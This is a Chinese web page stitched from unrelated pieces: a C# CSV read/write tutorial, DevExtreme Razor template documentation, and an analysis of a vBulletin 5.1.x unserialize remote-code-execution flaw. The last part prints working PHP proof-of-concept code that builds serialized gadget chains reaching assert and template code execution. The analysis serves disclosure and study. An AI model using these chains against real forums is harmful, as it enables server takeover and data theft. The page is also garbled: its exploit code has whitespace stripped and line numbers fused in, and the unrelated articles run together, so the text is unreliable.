整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

C#中的CSV文件读写

C#中的CSV文件读写

目中经常遇到CSV文件的读写需求,其中的难点主要是CSV文件的解析。本文会介绍CsvHelperTextFieldParser正则表达式三种解析CSV文件的方法,顺带也会介绍一下CSV文件的写方法。

CSV文件标准#

在介绍CSV文件的读写方法前,我们需要了解一下CSV文件的格式。

文件示例#

一个简单的CSV文件:

Test1,Test2,Test3,Test4,Test5,Test6
str1,str2,str3,str4,str5,str6
str1,str2,str3,str4,str5,str6

一个不简单的CSV文件:

"Test1
"",""","Test2
"",""","Test3
"",""","Test4
"",""","Test5
"",""","Test6
"","""
" 中文,D23 ","3DFD4234""""""1232""1S2","ASD1"",""23,,,,213
23F32","
",,asd
" 中文,D23 ","3DFD4234""""""1232""1S2","ASD1"",""23,,,,213
23F32","
",,asd

你没看错,上面两个都是CSV文件,都只有3行CSV数据。第二个文件多看一眼都是精神污染,但项目中无法避免会出现这种文件。

RFC 4180#

CSV文件没有官方的标准,但一般项目都会遵守 RFC 4180 标准。这是一个非官方的标准,内容如下:

Each record is located on a separate line, delimited by a line break (CRLF).The last record in the file may or may not have an ending line break.There maybe an optional header line appearing as the first line of the file with the same format as normal record lines. This header will contain names corresponding to the fields in the file and should contain the same number of fields as the records in the rest of the file (the presence or absence of the header line should be indicated via the optional "header" parameter of this MIME type).Within the header and each record, there may be one or more fields, separated by commas. Each line should contain the same number of fields throughout the file. Spaces are considered part of a field and should not be ignored. The last field in the record must not be followed by a comma.Each field may or may not be enclosed in double quotes (however some programs, such as Microsoft Excel, do not use double quotes at all). If fields are not enclosed with double quotes, then double quotes may not appear inside the fields.Fields containing line breaks (CRLF), double quotes, and commas should be enclosed in double-quotes.If double-quotes are used to enclose fields, then a double-quote appearing inside a field must be escaped by preceding it with another double quote.

翻译一下:

  1. 每条记录位于单独的行上,由换行符 (CRLF) 分隔。
  2. 文件中的最后一条记录可能有也可能没有结束换行符。
  3. 可能有一个可选的标题行出现在文件的第一行,格式与普通记录行相同。此标题将包含与文件中的字段对应的名称,并且应包含与文件其余部分中的记录相同数量的字段(标题行的存在或不存在应通过此 MIME 类型的可选“标头”参数指示)。
  4. 在标题和每条记录中,可能有一个或多个字段,以逗号分隔。在整个文件中,每行应包含相同数量的字段。空格被视为字段的一部分,不应忽略。记录中的最后一个字段后面不能有逗号。
  5. 每个字段可以用双引号括起来,也可以不用双引号(但是某些程序,例如 Microsoft Excel,根本不使用双引号)。如果字段没有用双引号括起来,那么双引号可能不会出现在字段内。
  6. 包含换行符 (CRLF)、双引号和逗号的字段应该用双引号括起来。
  7. 如果使用双引号将字段括起来,则出现在字段中的双引号必须在其前面加上另一个双引号。

简化标准#

上面的标准可能比较拗口,我们对它进行一些简化。要注意一下,简化不是简单的删减规则,而是将类似的类似进行合并便于理解。
后面的代码也会使用简化标准,简化标准如下:

  1. 每条记录位于单独的行上,由换行符 (CRLF) 分隔。
    注:此处的行不是普通文本意义上的行,是指符合CSV文件格式的一条记录(后面简称为CSV行),在文本上可能占据多行。
  2. 文件中的最后一条记录需有结束换行符,文件的第一行为标题行(标题行包含字段对应的名称,标题数与记录的字段数相同)。
    注:原标准中可有可无的选项统一规定为必须有,方便后期的解析,而且没有标题行让别人怎么看数据。
  3. 在标题和每条记录中,可能有一个或多个字段,以逗号分隔。在整个文件中,每行应包含相同数量的字段空格被视为字段的一部分,不应忽略。记录中的最后一个字段后面不能有逗号
    注:此标准未做简化,虽然也有其它标准使用空格、制表符等做分割的,但不使用逗号分割的文件还叫逗号分隔值文件吗。
  4. 每个字段都用双引号括起来,出现在字段中的双引号必须在其前面加上另一个双引号
    注:原标准有必须使用双引号和可选双引号的情况,那全部使用双引号肯定不会出错。*

读写CSV文件#

在正式读写CSV文件前,我们需要先定义一个用于测试的Test类。代码如下:

class Test
{
    public string Test1{get;set;}
    public string Test2 { get; set; }
    public string Test3 { get; set; }
    public string Test4 { get; set; }
    public string Test5 { get; set; }
    public string Test6 { get; set; }

    //Parse方法会在自定义读写CSV文件时用到
    public static Test Parse (string[]fields )
    {
        try
        {
            Test ret=new Test();
            ret.Test1=fields[0];
            ret.Test2=fields[1];
            ret.Test3=fields[2];
            ret.Test4=fields[3];
            ret.Test5=fields[4];
            ret.Test6=fields[5];
            return ret;
        }
        catch (Exception)
        {
            //做一些异常处理,写日志之类的
            return null;
        }
    }
}

生成一些测试数据,代码如下:

static void Main(string[] args)
{
    //文件保存路径
    string path="tset.csv";
    //清理之前的测试文件
    File.Delete("tset.csv");
      
    Test test=new Test();
    test.Test1=" 中文,D23 ";
    test.Test2="3DFD4234\"\"\"1232\"1S2";
    test.Test3="ASD1\",\"23,,,,213\r23F32";
    test.Test4="\r";
    test.Test5=string.Empty;
    test.Test6="asd";

    //测试数据
    var records=new List<Test> { test, test };

    //写CSV文件
    /*
    *直接把后面的写CSV文件代码复制到此处
    */

    //读CSV文件
     /*
    *直接把后面的读CSV文件代码复制到此处
    */
   
    Console.ReadLine();
}

使用CsvHelper#

CsvHelper 是用于读取和写入 CSV 文件的库,支持自定义类对象的读写。
github上标星最高的CSV文件读写C#库,使用MS-PL、Apache 2.0开源协议。
使用NuGet下载CsvHelper,读写CSV文件的代码如下:

 //写CSV文件
using (var writer=new StreamWriter(path))
using (var csv=new CsvWriter(writer, CultureInfo.InvariantCulture))
{
    csv.WriteRecords(records);
}

using (var writer=new StreamWriter(path,true))
using (var csv=new CsvWriter(writer, CultureInfo.InvariantCulture))
{
    //追加
    foreach (var record in records)
    {
        csv.WriteRecord(record);
    }
}

//读CSV文件
using (var reader=new StreamReader(path))
using (var csv=new CsvReader(reader, CultureInfo.InvariantCulture))
{
    records=csv.GetRecords<Test>().ToList();
    //逐行读取
    //records.Add(csv.GetRecord<Test>());
}

如果你只想要拿来就能用的库,那文章基本上到这里就结束了。

使用自定义方法#

为了与CsvHelper区分,新建一个CsvFile类存放自定义读写CSV文件的代码,最后会提供类的完整源码。CsvFile类定义如下:

/// <summary>
/// CSV文件读写工具类
/// </summary>
public class CsvFile
{
    #region 写CSV文件
    //具体代码...
    #endregion

    #region 读CSV文件(使用TextFieldParser)
    //具体代码...
    #endregion

    #region 读CSV文件(使用正则表达式)
    //具体代码...
    #endregion

}

基于简化标准的写CSV文件#

根据简化标准(具体标准内容见前文),写CSV文件代码如下:

#region 写CSV文件
//字段数组转为CSV记录行
private static string FieldsToLine(IEnumerable<string> fields)
{
    if (fields==null) return string.Empty;
    fields=fields.Select(field=>
    {
        if (field==null) field=string.Empty;
        //简化标准,所有字段都加双引号
        field=string.Format("\"{0}\"", field.Replace("\"", "\"\""));

        //不简化标准
        //field=field.Replace("\"", "\"\"");
        //if (field.IndexOfAny(new char[] { ',', '"', ' ', '\r' }) !=-1)
        //{
        //    field=string.Format("\"{0}\"", field);
        //}
        return field;
    });
    string line=string.Format("{0}{1}", string.Join(",", fields), Environment.NewLine);
    return line;
}

//默认的字段转换方法
private static IEnumerable<string> GetObjFields<T>(T obj, bool isTitle) where T : class
{
    IEnumerable<string> fields;
    if (isTitle)
    {
        fields=obj.GetType().GetProperties().Select(pro=> pro.Name);
    }
    else
    {
        fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
    }
    return fields;
}

/// <summary>
/// 写CSV文件,默认第一行为标题
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="list">数据列表</param>
/// <param name="path">文件路径</param>
/// <param name="append">追加记录</param>
/// <param name="func">字段转换方法</param>
/// <param name="defaultEncoding"></param>
public static void Write<T>(List<T> list, string path,bool append=true, Func<T, bool, IEnumerable<string>> func=null, Encoding defaultEncoding=null) where T : class
{
    if (list==null || list.Count==0) return;
    if (defaultEncoding==null)
    {
        defaultEncoding=Encoding.UTF8;
    }
    if (func==null)
    {
        func=GetObjFields;
    }
    if (!File.Exists(path)|| !append)
    {
        var fields=func(list[0], true);
        string title=FieldsToLine(fields);
        File.WriteAllText(path, title, defaultEncoding);
    }
    using (StreamWriter sw=new StreamWriter(path, true, defaultEncoding))
    {
        list.ForEach(obj=>
        {
            var fields=func(obj, false);
            string line=FieldsToLine(fields);
            sw.Write(line);
        });
    }
}
#endregion

使用时,代码如下:

//写CSV文件
//使用自定义的字段转换方法,也是文章开头复杂CSV文件使用字段转换方法
CsvFile.Write(records, path, true, new Func<Test, bool, IEnumerable<string>>((obj, isTitle)=>
{
    IEnumerable<string> fields;
    if (isTitle)
    {
        fields=obj.GetType().GetProperties().Select(pro=> pro.Name + Environment.NewLine + "\",\"");
    }
    else
    {
        fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
    }
    return fields;
}));

//使用默认的字段转换方法
//CsvFile.Write(records, path);

你也可以使用默认的字段转换方法,代码如下:

CsvFile.Save(records, path);

使用TextFieldParser解析CSV文件#

TextFieldParser是VB中解析CSV文件的类,C#虽然没有类似功能的类,不过可以调用VB的TextFieldParser来实现功能。
TextFieldParser解析CSV文件的代码如下:

#region 读CSV文件(使用TextFieldParser)
/// <summary>
/// 读CSV文件,默认第一行为标题
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="path">文件路径</param>
/// <param name="func">字段解析规则</param>
/// <param name="defaultEncoding">文件编码</param>
/// <returns></returns>
public static List<T> Read<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
{
    if (defaultEncoding==null)
    {
        defaultEncoding=Encoding.UTF8;
    }
    List<T> list=new List<T>();
    using (TextFieldParser parser=new TextFieldParser(path, defaultEncoding))
    {
        parser.TextFieldType=FieldType.Delimited;
        //设定逗号分隔符
        parser.SetDelimiters(",");
        //设定不忽略字段前后的空格
        parser.TrimWhiteSpace=false;
        bool isLine=false;
        while (!parser.EndOfData)
        {
            string[] fields=parser.ReadFields();
            if (isLine)
            {
                var obj=func(fields);
                if (obj !=null) list.Add(obj);
            }
            else
            {
                //忽略标题行业
                isLine=true;
            }
        }
    }
    return list;
}
#endregion

使用时,代码如下:

//读CSV文件
records=CsvFile.Read(path, Test.Parse);

使用正则表达式解析CSV文件#

如果你有一个问题,想用正则表达式来解决,那么你就有两个问题了。

正则表达式有一定的学习门槛,而且学习后不经常使用就会忘记。正则表达式解决的大多数是一些不易变更需求的问题,这就导致一个稳定可用的正则表达式可以传好几代。
本节的正则表达式来自
《精通正则表达式(第3版)》 第6章 打造高效正则表达式——简单的消除循环的例子,有兴趣的可以去了解一下,表达式说明如下:


注:这本书最终版的解析CSV文件的正则表达式是Jave版的使用占有优先量词取代固化分组的版本,也是百度上经常见到的版本。不过占有优先量词在C#中有点问题,本人能力有限解决不了,所以使用了上图的版本。不过,这两版正则表达式性能上没有差异。

正则表达式解析CSV文件代码如下:

#region 读CSV文件(使用正则表达式)
/// <summary>
/// 读CSV文件,默认第一行为标题
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="path">文件路径</param>
/// <param name="func">字段解析规则</param>
/// <param name="defaultEncoding">文件编码</param>
/// <returns></returns>
public static List<T> Read_Regex<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
{
    List<T> list=new List<T>();
    StringBuilder sbr=new StringBuilder(100);
    Regex lineReg=new Regex("\"");
    Regex fieldReg=new Regex("\\G(?:^|,)(?:\"((?>[^\"]*)(?>\"\"[^\"]*)*)\"|([^\",]*))");
    Regex quotesReg=new Regex("\"\"");

    bool isLine=false;
    string line=string.Empty;
    using (StreamReader sr=new StreamReader(path))
    {
        while (null !=(line=ReadLine(sr)))
        {
            sbr.Append(line);
            string str=sbr.ToString();
            //一个完整的CSV记录行,它的双引号一定是偶数
            if (lineReg.Matches(sbr.ToString()).Count % 2==0)
            {
                if (isLine)
                {
                    var fields=ParseCsvLine(sbr.ToString(), fieldReg, quotesReg).ToArray();
                    var obj=func(fields.ToArray());
                    if (obj !=null) list.Add(obj);
                }
                else
                {
                    //忽略标题行业
                    isLine=true;
                }
                sbr.Clear();
            }
            else
            {
                sbr.Append(Environment.NewLine);
            }                   
        }
    }
    if (sbr.Length > 0)
    {
        //有解析失败的字符串,报错或忽略
    }
    return list;
}

//重写ReadLine方法,只有\r\n才是正确的一行
private static string ReadLine(StreamReader sr) 
{
    StringBuilder sbr=new StringBuilder();
    char c;
    int cInt;
    while (-1 !=(cInt=sr.Read()))
    {
        c=(char)cInt;
        if (c=='\n' && sbr.Length > 0 && sbr[sbr.Length - 1]=='\r')
        {
            sbr.Remove(sbr.Length - 1, 1);
            return sbr.ToString();
        }
        else 
        {
            sbr.Append(c);
        }
    }
    return sbr.Length>0?sbr.ToString():null;
}

private static List<string> ParseCsvLine(string line, Regex fieldReg, Regex quotesReg)
{
    var fieldMath=fieldReg.Match(line);
    List<string> fields=new List<string>();
    while (fieldMath.Success)
    {
        string field;
        if (fieldMath.Groups[1].Success)
        {
            field=quotesReg.Replace(fieldMath.Groups[1].Value, "\"");
        }
        else
        {
            field=fieldMath.Groups[2].Value;
        }
        fields.Add(field);
        fieldMath=fieldMath.NextMatch();
    }
    return fields;
}
#endregion

使用时代码如下:

//读CSV文件
records=CsvFile.Read_Regex(path, Test.Parse);

目前还未发现正则表达式解析有什么bug,不过还是不建议使用。

完整的CsvFile工具类#

完整的CsvFile类代码如下:

using Microsoft.VisualBasic.FileIO;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;


namespace ConsoleApp4
{
    /// <summary>
    /// CSV文件读写工具类
    /// </summary>
    public class CsvFile
    {
        #region 写CSV文件
        //字段数组转为CSV记录行
        private static string FieldsToLine(IEnumerable<string> fields)
        {
            if (fields==null) return string.Empty;
            fields=fields.Select(field=>
            {
                if (field==null) field=string.Empty;
                //所有字段都加双引号
                field=string.Format("\"{0}\"", field.Replace("\"", "\"\""));

                //不简化
                //field=field.Replace("\"", "\"\"");
                //if (field.IndexOfAny(new char[] { ',', '"', ' ', '\r' }) !=-1)
                //{
                //    field=string.Format("\"{0}\"", field);
                //}
                return field;
            });
            string line=string.Format("{0}{1}", string.Join(",", fields), Environment.NewLine);
            return line;
        }

        //默认的字段转换方法
        private static IEnumerable<string> GetObjFields<T>(T obj, bool isTitle) where T : class
        {
            IEnumerable<string> fields;
            if (isTitle)
            {
                fields=obj.GetType().GetProperties().Select(pro=> pro.Name);
            }
            else
            {
                fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
            }
            return fields;
        }

        /// <summary>
        /// 写CSV文件,默认第一行为标题
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="list">数据列表</param>
        /// <param name="path">文件路径</param>
        /// <param name="append">追加记录</param>
        /// <param name="func">字段转换方法</param>
        /// <param name="defaultEncoding"></param>
        public static void Write<T>(List<T> list, string path,bool append=true, Func<T, bool, IEnumerable<string>> func=null, Encoding defaultEncoding=null) where T : class
        {
            if (list==null || list.Count==0) return;
            if (defaultEncoding==null)
            {
                defaultEncoding=Encoding.UTF8;
            }
            if (func==null)
            {
                func=GetObjFields;
            }
            if (!File.Exists(path)|| !append)
            {
                var fields=func(list[0], true);
                string title=FieldsToLine(fields);
                File.WriteAllText(path, title, defaultEncoding);
            }
            using (StreamWriter sw=new StreamWriter(path, true, defaultEncoding))
            {
                list.ForEach(obj=>
                {
                    var fields=func(obj, false);
                    string line=FieldsToLine(fields);
                    sw.Write(line);
                });
            }
        }
        #endregion

        #region 读CSV文件(使用TextFieldParser)
        /// <summary>
        /// 读CSV文件,默认第一行为标题
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="path">文件路径</param>
        /// <param name="func">字段解析规则</param>
        /// <param name="defaultEncoding">文件编码</param>
        /// <returns></returns>
        public static List<T> Read<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
        {
            if (defaultEncoding==null)
            {
                defaultEncoding=Encoding.UTF8;
            }
            List<T> list=new List<T>();
            using (TextFieldParser parser=new TextFieldParser(path, defaultEncoding))
            {
                parser.TextFieldType=FieldType.Delimited;
                //设定逗号分隔符
                parser.SetDelimiters(",");
                //设定不忽略字段前后的空格
                parser.TrimWhiteSpace=false;
                bool isLine=false;
                while (!parser.EndOfData)
                {
                    string[] fields=parser.ReadFields();
                    if (isLine)
                    {
                        var obj=func(fields);
                        if (obj !=null) list.Add(obj);
                    }
                    else
                    {
                        //忽略标题行业
                        isLine=true;
                    }
                }
            }
            return list;
        }
        #endregion

        #region 读CSV文件(使用正则表达式)
        /// <summary>
        /// 读CSV文件,默认第一行为标题
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="path">文件路径</param>
        /// <param name="func">字段解析规则</param>
        /// <param name="defaultEncoding">文件编码</param>
        /// <returns></returns>
        public static List<T> Read_Regex<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
        {
            List<T> list=new List<T>();
            StringBuilder sbr=new StringBuilder(100);
            Regex lineReg=new Regex("\"");
            Regex fieldReg=new Regex("\\G(?:^|,)(?:\"((?>[^\"]*)(?>\"\"[^\"]*)*)\"|([^\",]*))");
            Regex quotesReg=new Regex("\"\"");

            bool isLine=false;
            string line=string.Empty;
            using (StreamReader sr=new StreamReader(path))
            {
                while (null !=(line=ReadLine(sr)))
                {
                    sbr.Append(line);
                    string str=sbr.ToString();
                    //一个完整的CSV记录行,它的双引号一定是偶数
                    if (lineReg.Matches(sbr.ToString()).Count % 2==0)
                    {
                        if (isLine)
                        {
                            var fields=ParseCsvLine(sbr.ToString(), fieldReg, quotesReg).ToArray();
                            var obj=func(fields.ToArray());
                            if (obj !=null) list.Add(obj);
                        }
                        else
                        {
                            //忽略标题行业
                            isLine=true;
                        }
                        sbr.Clear();
                    }
                    else
                    {
                        sbr.Append(Environment.NewLine);
                    }                   
                }
            }
            if (sbr.Length > 0)
            {
                //有解析失败的字符串,报错或忽略
            }
            return list;
        }

        //重写ReadLine方法,只有\r\n才是正确的一行
        private static string ReadLine(StreamReader sr) 
        {
            StringBuilder sbr=new StringBuilder();
            char c;
            int cInt;
            while (-1 !=(cInt=sr.Read()))
            {
                c=(char)cInt;
                if (c=='\n' && sbr.Length > 0 && sbr[sbr.Length - 1]=='\r')
                {
                    sbr.Remove(sbr.Length - 1, 1);
                    return sbr.ToString();
                }
                else 
                {
                    sbr.Append(c);
                }
            }
            return sbr.Length>0?sbr.ToString():null;
        }
       
        private static List<string> ParseCsvLine(string line, Regex fieldReg, Regex quotesReg)
        {
            var fieldMath=fieldReg.Match(line);
            List<string> fields=new List<string>();
            while (fieldMath.Success)
            {
                string field;
                if (fieldMath.Groups[1].Success)
                {
                    field=quotesReg.Replace(fieldMath.Groups[1].Value, "\"");
                }
                else
                {
                    field=fieldMath.Groups[2].Value;
                }
                fields.Add(field);
                fieldMath=fieldMath.NextMatch();
            }
            return fields;
        }
        #endregion

    }
}

使用方法如下:

//写CSV文件
CsvFile.Write(records, path, true, new Func<Test, bool, IEnumerable<string>>((obj, isTitle)=>
{
    IEnumerable<string> fields;
    if (isTitle)
    {
        fields=obj.GetType().GetProperties().Select(pro=> pro.Name + Environment.NewLine + "\",\"");
    }
    else
    {
        fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
    }
    return fields;
}));

//读CSV文件
records=CsvFile.Read(path, Test.Parse);

//读CSV文件
records=CsvFile.Read_Regex(path, Test.Parse);

总结#

  • 介绍了CSV文件的 RFC 4180 标准及其简化理解版本
  • 介绍了CsvHelperTextFieldParser正则表达式三种解析CSV文件的方法
  • 项目中推荐使用CsvHelper,如果不想引入太多开源组件可以使用TextFieldParser,不建议使用正则表达式

文章来自https://www.cnblogs.com/timefiles/p/CsvReadWrite.html

系列文章将为大家介绍如何实现和应用模板,模板允许您自定义控件部分(标题、单元格、项目等)的呈现方式。

DevExtreme Complete Subscription官方最新版免费下载试用,历史版本下载,在线文档和帮助文件下载-慧都网

使用 *Template() 方法定义模板,例如:

  • DataGridColumnBuilder.CellTemplate - 为DataGrid控件中的列单元格指定模板。
  • ListBuilder.ItemTemplate - 为 List 控件中的项目指定模板。
  • PopupBuilder.ContentTemplate - 为 Popup 控件的内容指定模板。

模板语法

模板由 Razor 标记和可以使用参数的 ERB 样式构造 (<% %>) 组成,要定义模板,请在控件的 *Template(RazorBlock templateContent) 方法中使用 @<text>? 块。

注意:Razor VB:当您使用 @<text> 块时:

  • 用@Code/End Code 附上控件配置;
  • 使用 Render() 结束控件配置。

Razor C#

@(Html.DevExtreme().List()
.DataSource(DataSource)
.ItemTemplate(@<text>
<div><%- Name %></div>
</text>)
)

Razor VB

@Code
Html.DevExtreme().List() _
.DataSource(DataSource) _
.ItemTemplate(Sub()
@<text>
<div><%- Name %></div>
</text>
End Sub) _
.Render()
End Code

List 控件绑定到以下数据源:

C#

object[] DataSource=new[] {
new { Name="John" },
new { Name="Jane" }
};

VB

Dim DataSource={
New With {.Name="John"},
New With {.name="Jane"}
}

您还可以在模板中使用 @Html,例如嵌套控件或访问标准 HTML 帮助程序。

如果模板很短且不使用 Razor 构造(以 @ 开头),则可以使用带有 String 参数的 *Template 方法的速记重载:

Razor C#

@(Html.DevExtreme().List()
.DataSource(DataSource)
.ItemTemplate("<div><%- Name %></div>")
)

Razor VB

@(Html.DevExtreme().List() _
.DataSource(DataSource) _
.ItemTemplate("<div><%- Name %></div>")
)

外部模板

您可以在控件声明之外定义模板,这在以下情况下很有用:

  • 模板很大;
  • 想重用一个模板;
  • 需要嵌套模板(下面的代码演示了如何将 List 控件嵌套在 Popup 控件中)。

Razor C#

@(Html.DevExtreme().Popup()
.ID("myPopup")
.ContentTemplate(@<text>
@Html.Partial("_MyPopupContentTemplate")
</text>)
)

Razor VB

@Code
Html.DevExtreme().Popup() _
.ID("myPopup") _
.ContentTemplate(Sub()
@<text>
@Html.Partial("_MyPopupContentTemplate")
</text>
End Sub) _
.Render()
End Code

Shared/_MyPopupContentTemplate.cshtml

@(Html.DevExtreme().List()
.DataSource(ListDataSource)
.ItemTemplate(@<text>
<div><%- Name %></div>
</text>)
)

Shared/_MyPopupContentTemplate.vbhtml

@Code
Html.DevExtreme().List() _
.DataSource(ListDataSource) _
.ItemTemplate(Sub()
@<text>
<div><%- Name %></div>
</text>
End Sub) _
.Render()
End Code

使用命名模板。

  1. 在 using(Html.DevExtreme().NamedTemplate(...)) 块中定义模板。
  2. 在 *Template(TemplateName name) 方法中指定模板名称。

Razor C#

@(Html.DevExtreme().Popup()
.ID("myPopup")
.ContentTemplate(new TemplateName("myPopupContentTemplate"))
)

@using (Html.DevExtreme().NamedTemplate("myPopupContentTemplate")) {
@(Html.DevExtreme().List()
.DataSource(ListDataSource)
.ItemTemplate(@<text>
<div><%- Name %></div>
</text>)
)
}

Razor VB

@Code
Html.DevExtreme().Popup() _
.ID("myPopup") _
.ContentTemplate(New TemplateName("myPopupContentTemplate")) _
.Render()
End Code

@Using (Html.DevExtreme().NamedTemplate("myPopupContentTemplate"))
@Code
Html.DevExtreme().List() _
.DataSource(ListDataSource) _
.ItemTemplate(Sub()
@<text>
<%- Name %>
</text>
End Sub) _
.Render()
End Code
End Using

可以在声明控件或布局的同一 Razor 文件中声明命名模板。

注意:

  • 模板名称在整个应用程序中应该是唯一的。
  • 命名模板应该在顶层定义,它们不能在另一个模板中声明。

使用 Razor @helper 指令将模板标记提取到函数中。

Razor C#

@(Html.DevExtreme().Popup()
.ID("myPopup")
.ContentTemplate(@<text>
@MyPopup_List()
</text>)
)

@helper MyPopup_List()
{
@(Html.DevExtreme().List()
.ItemTemplate(@<text>
@MyPopup_List_Item()
</text>)
)
}

@helper MyPopup_List_Item()
{
<text>
<div><%- Name %></div>
</text>
}

Razor VB

@Code
Html.DevExtreme().Popup() _
.ID("myPopup") _
.ContentTemplate(Sub() Write(MyPopup_List())) _
.Render()
End Code

@helper MyPopup_List()
@(Html.DevExtreme().List() _
.ItemTemplate(Sub() Write(MyPopup_List_Item()))
)
End Helper

@helper MyPopup_List_Item()
@<text>
<div><%- Name %></div>
</text>
End Helper

DevExtreme

DevExtreme拥有高性能的HTML5 / JavaScript小部件集合,使您可以利用现代Web开发堆栈(包括React,Angular,ASP.NET Core,jQuery,Knockout等)构建交互式的Web应用程序。从Angular和Reac,到ASP.NET Core或Vue,DevExtreme包含全面的高性能和响应式UI小部件集合,可在传统Web和下一代移动应用程序中使用。 该套件附带功能齐全的数据网格、交互式图表小部件、数据编辑器等。

Bulletin 是一个商用的论坛程序套件,在全球拥有数万用户且增长速度很快。该论坛采用PHP Web语言及MySQL数据库。正是由于其用户较多,其漏洞出现频率较高,在绿盟科技漏洞库(NSVD)中共有49条记录,大部分是SQL注入漏洞。此次漏洞等级较高,为远程代码执行漏洞(RCE),理论上说攻击者可执行任意代码,甚至完全控制论坛 。

绿盟科技漏洞库

可能的影响

  • 该论坛程序在国外使用较多,国内使用较少,在绿盟科技广谱平台Seer系统中仅有50多条记录;

  • 此次漏洞的PoC已经开始在网络流传,已有国外媒体报道vBulletin官网479895用户信息遭到泄露;

  • 该论坛并没有中文版本,国内流行较多的中文版本及破解版本,这些版本可能存在漏洞修复的问题;

  • 受此影响的版本包括5.1.4~5.1.9

vBulletin在其ajax接口使用了反序列化函数unserialize。导致存在漏洞,可以覆盖其上下文中使用的类的类变量,导致可以产生各类问题。

0X01 漏洞分析

1,漏洞本质问题

hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。并且攻击者还可以控制传入的$arguments的值,因此漏洞的全部演出从这里开始。

12345publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){...

2,反序列化后对上下文变量覆盖的利用

POC角度分析

对URL进行分解,path为vBulletin对参数进行路由转换的结果,本质也是mvc调用,vBulletin处理的格式为ajax/api/[controller]/[method],也就是说此访问页面调用的是hook文件的decodeArgument方法。query内只有一个参数,参数的名称为arguments,参数的值为一段序列化的代码。

看下输出序列化值的代码

123456789101112131415161718192021<?phpclassvB_Database_MySQL{public$functions=array();publicfunction__construct(){$this->functions['free_result']='assert';}}classvB_dB_Result{protected$db;protected$recordset;publicfunction__construct(){$this->db=newvB_Database_MySQL();$this->recordset='print(\'Hello world!\')';}}printurlencode(serialize(newvB_dB_Result()))."\n";?>

最终输出的是 serialize(new vB_dB_Result())的值,类vB_dB_Result定义了两个protected变量,并且其构造函数对这两个protected变量进行复制,$recordset赋值为一段字符串,从poc也可看出来,$recordset的值就是要执行的代码片段。$db的赋值为vB_Database_MySQL,定义了一个数组类型的变量$functions,并给这个数组的free_result索引赋值为assert。因此可以对此进行下小结,vBulletin通过对传值进行反序列化操作,可以对其执行上下文中的变量进行覆盖。覆盖后,会产生代码执行漏洞。

代码角度分析

首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_Database_Result类。

12345678910publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){$result='';foreach($argsAS$varname=>$value){$result.=$varname;...

接着进入foreach函数,由于$args为对象数据结构,并且当前类(vB_Database_Result类)implements于Iterator接口,因此当php在遍历对象$args时,便首先会调用其rewind()方法。[foreach遍历对象][1],[迭代器遍历][2]。以上两个链接详细讲解了php遍历对象操作的细节。

12345678910publicfunctiondecodeArguments($arguments){if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;...

然后跟入result.php的vB_Database_Result类的rewind()方法,此方法会调用当前类内的类变量$db的free_result方法,并且为其传入类变量$recordset的值。

123456789101112publicfunctionrewind(){if($this->bof){return;}if($this->recordset){=》$this->db->free_result($this->recordset);}...

最后跟入database.php的vB_Database类的free_result方法,由于控制了当前类(vB_Database类)的变量$functions[‘free_result’],和传入的$queryresult,因此此处达成了动态函数执行,漏洞利用至此结束。

12345functionfree_result($queryresult){$this->sql='';=》return@$this->functions['free_result']($queryresult);}

3,反序列化后利用魔术方法RCE的利用

POC角度分析

同理上文的路径分析。

看下输出序列化值的代码

12345678910111213141516171819202122232425262728<?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}}classvB_View_AJAXHTML{public$tmpfile;protected$content;publicfunction__construct(){$this->content=newvB5_Template();}}classvB_vURL{public$tmpfile;publicfunction__construct(){$this->tmpfile=newvB_View_AJAXHTML();}}printurlencode(serialize(newvB_vURL()))."\n";?>

最终输出的是 serialize(new vB_vURL())的值,向类vB_vURL注入了一个public变量$temfile,并且赋值为类vB_View_AJAXHTML,而类vB_View_AJAXHTML的构造函数中,向其类内对象$content赋值类vB5_Template,最终的利用代码在类vB5_Template中$template和$registered中,含义分别是调用模板widget_php和$registered[‘widgetConfig’]的值为利用代码。

代码角度分析

首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_vURL类。

1234567891011121314151617181920212223publicfunctiondecodeArguments($arguments){=>if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;if(is_array($value)){$this->decodeLevel($result,$value,'=');}$result.="\n";}return$result;}return'';}

在foreach中,由于$args为对象数据结构,并且当前类(vB_vURL类)并没有implements于Iterator接口,因此当php在遍历对象$args时,只是会遍历vB_vURL类的public变量,不会产生漏洞。

由于要进行return操作,因此便出发了当前类(vB_vURL类)的析构函数。

1234567function__destruct(){=>if(file_exists($this->tmpfile)){@unlink($this->tmpfile);}}

由于为其$tmpfile赋值为一个对象,file_exists方法会试图把类转化为字符串,因此触发了$tmpfile对象的__toString()方法。(**由于传入的是vB_View_AJAXHTML类,vB_View_AJAXHTML类继承于vB_View类,因此触发的是vB_View类的__toString方法**)

123456789101112publicfunction__toString(){try{=>return$this->render();}catch(vB_Exception$e){//If debug, return the error, elsereturn'';}}

